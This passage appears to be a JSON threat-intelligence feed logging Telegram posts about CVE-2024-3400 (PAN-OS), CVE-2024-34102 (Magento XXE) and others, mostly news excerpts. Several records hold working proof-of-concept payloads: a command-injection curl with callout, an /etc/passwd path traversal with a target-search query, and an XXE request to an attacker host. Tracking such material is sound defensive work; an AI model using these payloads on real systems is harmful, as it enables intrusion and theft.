News\nZero-Day Alert: Critical Palo Alto Networks PAN-OS Flaw Under Active Attack\n\nPalo Alto Networks is warning that a critical flaw impacting its PAN-OS software used in its GlobalProtect gateways is being exploited in the wild.\nTracked as CVE-2024-3400, the issue has a CVSS score of 10.0, indicating maximum severity.\n\"A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature", "creation_timestamp": "2024-04-12T15:36:49.000000Z"}, {"uuid": "4d89cc87-6545-452c-b0e8-d06154af233f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/openSource3/196", "content": "CVE ID : CVE-2024-3400 \nSystem : GlobalProtect \nType : Path Traversal -> File Write -> Command Injection \n\nExploit :\n\ncurl https://host/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/a`curl${IFS}uip/?u=$(whoami)`'", "creation_timestamp": "2024-07-01T10:58:20.000000Z"}, {"uuid": "0a5da254-395b-4476-96f5-0597ebaaecb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "https://t.me/arvinclub1/1106", "content": "\ud83d\udccc CVE-2024-34257\nTOTOLINK EX1800T V9.1.0cu.2112_B20220316 has a vulnerability in the apcliEncrypType parameter that allows unauthorized execution of arbitrary commands, allowing an attacker to obtain device administrator privileges.", "creation_timestamp": "2024-05-08T19:49:47.000000Z"}, {"uuid": "3855e4d8-daf2-4c7b-ada2-29bb1c0052da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "Telegram/yoNNgIU2JU4zwFL5vXqVgP00V9P0beeHjRLaro8CHcaWRn8", "content": "", "creation_timestamp": "2024-05-02T02:23:04.000000Z"}, {"uuid": "8442cfb4-aa91-421f-aaf7-6b5a6cfce133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/darkcommunityofficial/1030", "content": "CVE-2024-34470 HSC MailInspector\n*\nPOC:\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\nFOFA:\ntitle==\"..:: HSC MailInspector ::..\"", "creation_timestamp": "2024-06-20T01:17:39.000000Z"}, {"uuid": "3385e965-ec51-48a2-868e-123871a9ae9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/MXDY_kR-gt7Jn0TvQ3noyt3THT0L5yqKL2KKreb92EoMfDk", "content": "", "creation_timestamp": "2024-07-08T12:32:34.000000Z"}, {"uuid": "2bb03566-9430-42c2-b7a9-ad7af5c2270d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/arpsyndicate/4705", "content": "#ExploitObserverAlert\n\nCVE-2024-3400\n\nDESCRIPTION: Exploit Observer has 121 entries in 11 file formats related to CVE-2024-3400. A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.  Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.\n\nFIRST-EPSS: 0.139670000\nNVD-IS: 6.0\nNVD-ES: 3.9\nARPS-EXPLOITABILITY: 0.9034926", "creation_timestamp": "2024-04-18T06:22:52.000000Z"}, {"uuid": "3e70169a-571a-41c7-b5e6-6ee3f6c8a4f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3448", "type": "seen", "source": "https://t.me/arpsyndicate/4524", "content": "#ExploitObserverAlert\n\nCVE-2024-3448\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2024-3448. Users with low privileges can perform certain AJAX actions.  In this vulnerability instance, improper access to ajax?action=plugin:focus:checkIframeAvailability leads to a Server-Side Request Forgery by analyzing the error messages returned from the back-end. Allowing an attacker to perform a port scan in the back-end. At the time of publication of the CVE no patch is available.\n\nFIRST-EPSS: 0.000430000\nARPS-EXPLOITABILITY: 0.5780347", "creation_timestamp": "2024-04-12T05:17:27.000000Z"}, {"uuid": "6a024fee-5da9-4996-8191-03295fdcf009", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/gQVeNiRB9FmNEWpizRNpKaAMQaaSsyxJAiZzcCo2LcEtMg", "content": "", "creation_timestamp": "2024-04-26T13:00:02.000000Z"}, {"uuid": "a4a03ba0-a4b4-494e-8069-18939de050a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "Telegram/HnfBiLwo399C-z0d0q2TTUydlA9C_nLqDy3NCxdivPLF0Q", "content": "", "creation_timestamp": "2024-05-21T13:24:46.000000Z"}, {"uuid": "32ce74b1-aa30-4586-80fa-6619be0d2215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/X0dzjxTk4IQGwlNlJMW5UmJJS9z3wfWMawjlmddPJdwjhA", "content": "", "creation_timestamp": "2024-04-20T08:38:34.000000Z"}, {"uuid": "7bdce532-4924-4dea-b3bb-bdcbcfd2b20a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/vhhEzmgRY5k9H4n1zKpIhYH6yDkuR5My7DFc0Z2Zc7DNKTk", "content": "", "creation_timestamp": "2024-04-17T19:37:57.000000Z"}, {"uuid": "1bbd0a72-0e20-40f3-9473-568b77b9e087", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/4fJFeJ5wEMncTIAvm9r2Byx6uNcv4oy0soLotVitDjc3ZQ", "content": "", "creation_timestamp": "2024-04-15T12:07:39.000000Z"}, {"uuid": "f46ee2fa-444e-43a0-a4d6-8e02a3e34c48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/Z16takdtR4pNaV_lmhXzlf8hO1RSp8oNh55fo18IuWtj9YU", "content": "", "creation_timestamp": "2024-09-04T15:58:52.000000Z"}, {"uuid": "b11d1a6c-2a3c-479f-92b1-ef351010c555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/MgEw2e-_UFYKY5YWSut-fUE0Muwvoy6ewDv4klR_I2HM_QA", "content": "", "creation_timestamp": "2024-07-10T04:52:23.000000Z"}, {"uuid": "8d0f22a5-a6d2-4fb6-8de8-e623d32c7ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/OGKojK_kdyncbUUFPkZADCMHv3r46ibnChVJsI5me0csrmiW", "content": "", "creation_timestamp": "2025-01-13T00:37:32.000000Z"}, {"uuid": "2126599a-d554-4a9a-b5ca-9be6c120e27d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/ffNKdhpRDqhw9ZXqNKSsCNCJgmnYXA69PRHPjC-NKHiD3RBI", "content": "", "creation_timestamp": "2024-12-20T09:14:02.000000Z"}, {"uuid": "ba988c82-8460-4815-8dbf-8e2e0a1e681b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/-0xwnetPYqPdqGXUakMcyEuozmquHKdF_dlJNW3PZBiTFQ", "content": "", "creation_timestamp": "2024-04-12T13:36:33.000000Z"}, {"uuid": "8b85d002-469c-4d9d-a2a1-53965882294f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/GmyYBu2OWwfvkdJ88UCkGTEeu0OCGBjjpO-jjbG_y6ygXSDI", "content": "", "creation_timestamp": "2025-01-18T21:51:21.000000Z"}, {"uuid": "b17d57d1-1237-4e9b-a0d1-39653bd344ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/PCh_d9fmJFPBixH8QOoJWnUBM5gc7tSxPSOlgO0A7_vni8v1", "content": "", "creation_timestamp": "2025-01-07T04:56:06.000000Z"}, {"uuid": "4eaed8f4-94e7-4f7d-b863-ec1da6a5190c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "https://t.me/LockBitRaasRansomware/27259", "content": "\ud83d\udccc CVE-2024-34257\nTOTOLINK EX1800T V9.1.0cu.2112_B20220316 has a vulnerability in the apcliEncrypType parameter that allows unauthorized execution of arbitrary commands, allowing an attacker to obtain device administrator privileges.", "creation_timestamp": "2024-05-12T15:24:25.000000Z"}, {"uuid": "fb7ede20-9c20-45fc-944d-67adccd6381d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/AnonymousEgypt/22563", "content": "PoC PUBLISHEDPOC for CVE-2024-34102. Pre-authentication XML entity injection issue in Magento/Adobe Commerce.\n\nGIT:\nhttps://github.com/bigb0x/CVE-2024-34102", "creation_timestamp": "2024-09-03T20:09:25.000000Z"}, {"uuid": "f669cb99-1900-4f92-adb8-060724a30922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/267", "content": "CVE-2024-34102  POC \n\nPOST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2\n\n{\"address\":{\"totalsCollector\":{\"collectorList\":{\"totalCollector\":{\"sourceData\":{\"data\":\"http://attacker*com/xxe.xml\",\"dataIsURL\":true,\"options\":1337}}}}}}\n\n#CyberDilara #bugbountytips #bugbounty", "creation_timestamp": "2024-06-27T02:36:14.000000Z"}, {"uuid": "00aa3234-a8b6-4ff1-99ac-129a9cc23461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/CyberDilara/266", "content": "Top 5 Trending CVEs:\n\n    1 - CVE-2024-5806\n    2 - CVE-2024-34102\n    3 - CVE-2024-23958\n    4 - CVE-2024-37032\n    5 - CVE-2024-21338\n\n#cve #cvetrends #cveshield #cybersecurity", "creation_timestamp": "2024-06-27T02:35:30.000000Z"}, {"uuid": "583fe772-948b-4431-9f2e-6c720c6c9380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/257", "content": "CVE-2024-34102  POC \n\nPOST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2\n\n{\"address\":{\"totalsCollector\":{\"collectorList\":{\"totalCollector\":{\"sourceData\":{\"data\":\"http://attacker*com/xxe.xml\",\"dataIsURL\":true,\"options\":1337}}}}}}", "creation_timestamp": "2024-06-26T05:14:18.000000Z"}, {"uuid": "625fa085-25e4-467f-84fe-af0bd0f28a0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/LockBitRaasRansomware/42703", "content": "PoC PUBLISHEDPOC for CVE-2024-34102. Pre-authentication XML entity injection issue in Magento/Adobe Commerce.\n\nGIT:\nhttps://github.com/bigb0x/CVE-2024-34102", "creation_timestamp": "2024-07-10T04:50:59.000000Z"}, {"uuid": "d60c166e-0a83-434f-8b30-6aa87a6f0240", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/AnonymousEgypt/23220", "content": "PoC PUBLISHEDPOC for CVE-2024-34102. Pre-authentication XML entity injection issue in Magento/Adobe Commerce.\n\nGIT:\nhttps://github.com/bigb0x/CVE-2024-34102", "creation_timestamp": "2024-09-04T15:59:39.000000Z"}, {"uuid": "87c52f69-55df-451a-8d60-951fbc734fa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/LockBitRaasRansomware/42088", "content": "PoC PUBLISHEDPOC for CVE-2024-34102. Pre-authentication XML entity injection issue in Magento/Adobe Commerce.\n\nGIT:\nhttps://github.com/bigb0x/CVE-2024-34102", "creation_timestamp": "2024-07-08T12:32:38.000000Z"}, {"uuid": "3686045c-0dab-46da-926f-0c2f5b4097d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/lostsec/704", "content": "are u guys ready for mass hunting CVE-2024-34102 ?", "creation_timestamp": "2024-07-01T12:19:18.000000Z"}, {"uuid": "c1096cb9-e15d-47cf-aa81-ed0686f5bd2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/lostsec/701", "content": "POC for CVE-2024-34102. A pre-authentication XML entity injection issue in Magento / Adobe Commerce\n\n1)templateLink\n2)eXploitLink", "creation_timestamp": "2024-06-30T14:29:15.000000Z"}, {"uuid": "6f623e7c-86d0-4501-bd63-d085a8cabf94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "published-proof-of-concept", "source": "Telegram/kk8UfhFwmY5fCWc2ol4Wfv6GNmAscGhX1y7IkyBsp1-AehM", "content": "", "creation_timestamp": "2024-08-22T10:54:43.000000Z"}, {"uuid": "7363a7fd-7017-4155-8e94-1bb396838ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "Telegram/rnSeUs2qdya-yEinROFxA8N7F3mjvuSNXUGSd_-xczm3plg", "content": "", "creation_timestamp": "2025-01-31T14:10:05.000000Z"}, {"uuid": "4617676a-5ca2-491c-9a38-af2fb5be065f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/562", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-01T03:33:14.000000Z"}, {"uuid": "9b518269-7d94-49b9-88ad-773a985b39b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/308", "content": "POC for CVE-2024-34102. A pre-authentication XML entity injection issue in Magento / Adobe Commerce.\n\nhttps://github.com/bigb0x/CVE-2024-34102\n\n#exploit #hacking #cyberdilara", "creation_timestamp": "2024-07-01T10:07:33.000000Z"}, {"uuid": "ce0f1ac2-afdb-43f1-821d-4df5757e1e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/1185", "content": "The Hacker News\nPalo Alto Networks Outlines Remediation for Critical PAN-OS Flaw Under Attack\n\nPalo Alto Networks has shared remediation guidance for a recently disclosed critical security flaw impacting PAN-OS that has come under active exploitation.\nThe vulnerability, tracked as CVE-2024-3400 (CVSS score: 10.0), could be weaponized to obtain unauthenticated remote shell command execution on susceptible devices. It has been addressed in", "creation_timestamp": "2024-04-26T15:42:01.000000Z"}, {"uuid": "ffd103da-0696-453e-9d6f-e31004d6631d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/4809", "content": "The Hacker News\nAlert: Adobe Commerce and Magento Stores Under Attack from CosmicSting Exploit\n\nCybersecurity researchers have disclosed that 5% of all Adobe Commerce and Magento stores have been hacked by malicious actors by exploiting a security vulnerability dubbed CosmicSting.\nTracked as CVE-2024-34102 (CVSS score: 9.8), the critical flaw relates to an improper restriction of XML external entity reference (XXE) vulnerability that could result in remote code execution. The shortcoming,", "creation_timestamp": "2024-10-02T17:43:02.000000Z"}, {"uuid": "66ce91ab-42d3-4bb3-9952-2262ab7776f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/1057", "content": "The Hacker News\nPalo Alto Networks Releases Urgent Fixes for Exploited PAN-OS Vulnerability\n\nPalo Alto Networks has released hotfixes to address a maximum-severity security flaw impacting PAN-OS software that has come under active exploitation in the wild.\nTracked as CVE-2024-3400 (CVSS score: 10.0), the critical vulnerability is a case of command injection in the GlobalProtect feature that an unauthenticated attacker could weaponize to execute arbitrary code with root", "creation_timestamp": "2024-04-15T11:33:05.000000Z"}, {"uuid": "d2d4858d-6981-4205-8d57-5a847a999ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/1033", "content": "The Hacker News\nZero-Day Alert: Critical Palo Alto Networks PAN-OS Flaw Under Active Attack\n\nPalo Alto Networks is warning that a critical flaw impacting its PAN-OS software used in its GlobalProtect gateways is being exploited in the wild.\nTracked as CVE-2024-3400, the issue has a CVSS score of 10.0, indicating maximum severity.\n\"A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature", "creation_timestamp": "2024-04-12T15:36:49.000000Z"}, {"uuid": "c8c34b4d-ca8f-40a5-82e5-24f066264356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/1523", "content": "The Hacker News\nResearchers Uncover Flaws in Python Package for AI Models and PDF.js Used by Firefox\n\nA critical security flaw has been disclosed in the llama_cpp_python Python package that could be exploited by threat actors to achieve arbitrary code execution.\nTracked as CVE-2024-34359 (CVSS score: 9.7), the flaw has been codenamed Llama Drama by software supply chain security firm Checkmarx.\n\"If exploited, it could allow attackers to execute arbitrary code on your system,", "creation_timestamp": "2024-05-21T15:53:31.000000Z"}, {"uuid": "418937a3-1176-478e-bf7b-9d8b056ef707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "https://t.me/KomunitiSiber/1975", "content": "Researchers Uncover Flaws in Python Package for AI Models and PDF.js Used by Firefox\nhttps://thehackernews.com/2024/05/researchers-uncover-flaws-in-python.html\n\nA critical security flaw has been disclosed in the\u00a0llama_cpp_python\u00a0Python package that could be exploited by threat actors to achieve arbitrary code execution.\nTracked as\u00a0CVE-2024-34359\u00a0(CVSS score: 9.7), the flaw has been codenamed Llama Drama by software supply chain security firm Checkmarx.\n\"If exploited, it could allow attackers to execute arbitrary code on your system,", "creation_timestamp": "2024-05-21T13:16:03.000000Z"}, {"uuid": "371d98ff-40fe-4b3b-8a4e-2c254bc6d03d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "Telegram/MJSg8Sv1s6244nb3DVYWZm8Rju6lGyMlDeVM6a0Y3fvmnw", "content": "", "creation_timestamp": "2024-05-02T02:23:05.000000Z"}, {"uuid": "a473f95d-9153-4154-8c3e-a731a1fa9299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/1123", "content": "The Hacker News\nPalo Alto Networks Discloses More Details on Critical PAN-OS Flaw Under Attack\n\nPalo Alto Networks has shared more details of a critical security flaw impacting PAN-OS that has come under active exploitation in the wild by malicious actors.\nThe company described the vulnerability, tracked as CVE-2024-3400 (CVSS score: 10.0), as \"intricate\" and a combination of two bugs in versions PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 of the software.\n\"In", "creation_timestamp": "2024-04-20T11:36:25.000000Z"}, {"uuid": "260e4749-8b21-4430-8260-455e83502040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/KomunitiSiber/2664", "content": "Alert: Adobe Commerce and Magento Stores Under Attack from CosmicSting Exploit\nhttps://thehackernews.com/2024/10/alert-adobe-commerce-and-magento-stores.html\n\nCybersecurity researchers have disclosed that 5% of all Adobe Commerce and Magento stores have been hacked by malicious actors by exploiting a security vulnerability dubbed CosmicSting.\nTracked as CVE-2024-34102 (CVSS score: 9.8), the critical flaw relates to an improper restriction of XML external entity reference (XXE) vulnerability that could result in remote code execution. The shortcoming,", "creation_timestamp": "2024-10-02T18:45:31.000000Z"}, {"uuid": "2fa65369-444e-44fe-acb4-8ab7630361f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/KomunitiSiber/1851", "content": "Palo Alto Networks Outlines Remediation for Critical PAN-OS Flaw Under Attack\nhttps://thehackernews.com/2024/04/palo-alto-networks-outlines-remediation.html\n\nPalo Alto Networks has\u00a0shared\u00a0remediation guidance for a recently disclosed critical security flaw\u00a0impacting PAN-OS that has come under active exploitation.\nThe\u00a0vulnerability,\u00a0tracked as\u00a0CVE-2024-3400\u00a0(CVSS score: 10.0), could be weaponized to obtain unauthenticated remote shell command execution on susceptible devices. It has\u00a0been addressed\u00a0in", "creation_timestamp": "2024-04-26T13:49:59.000000Z"}, {"uuid": "b95fa4bc-26e9-4ab3-aeac-25f80ea2a481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/KomunitiSiber/1821", "content": "Palo Alto Networks Discloses More Details on Critical PAN-OS Flaw Under Attack\nhttps://thehackernews.com/2024/04/palo-alto-networks-discloses-more.html\n\nPalo Alto Networks has shared more details of a critical security flaw impacting PAN-OS that\u00a0has come under active exploitation\u00a0in the wild\u00a0by malicious actors.\nThe company described the vulnerability, tracked as\u00a0CVE-2024-3400\u00a0(CVSS score: 10.0), as \"intricate\" and a combination of two bugs in versions PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1\u00a0of the software.\n\"In", "creation_timestamp": "2024-04-20T09:15:07.000000Z"}, {"uuid": "83cef2db-f29f-4e2b-8424-454ff8460508", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/KomunitiSiber/1784", "content": "Palo Alto Networks Releases Urgent Fixes for Exploited PAN-OS Vulnerability\nhttps://thehackernews.com/2024/04/palo-alto-networks-releases-urgent.html\n\nPalo Alto Networks has released hotfixes to address a maximum-severity security flaw impacting PAN-OS software that has come under active exploitation in the wild.\nTracked as\u00a0CVE-2024-3400\u00a0(CVSS score: 10.0), the critical vulnerability is a case of command injection in the GlobalProtect feature that an unauthenticated attacker could weaponize to execute arbitrary code with root", "creation_timestamp": "2024-04-15T10:23:59.000000Z"}, {"uuid": "3b6fceb0-72da-4999-aa18-e187bdff1ae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/KomunitiSiber/1776", "content": "Zero-Day Alert: Critical Palo Alto Networks PAN-OS Flaw Under Active Attack\nhttps://thehackernews.com/2024/04/zero-day-alert-critical-palo-alto.html\n\nPalo Alto Networks is warning that a critical flaw impacting its PAN-OS software used in its GlobalProtect gateways is being exploited in the wild.\nTracked as\u00a0CVE-2024-3400, the issue has a CVSS score of 10.0, indicating maximum severity.\n\"A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature", "creation_timestamp": "2024-04-12T13:43:51.000000Z"}, {"uuid": "9ee27e4c-b9e0-4fcf-b9dd-dc0915f2e63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "Telegram/0yPmZiOpFjixY5aqQ3H9ckJPRTcTZ6i4T4r7w0GIb1VQ48Q", "content": "", "creation_timestamp": "2025-03-13T11:53:25.000000Z"}, {"uuid": "18666a78-3324-4dc2-8ef0-7d5cfa1fee8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": 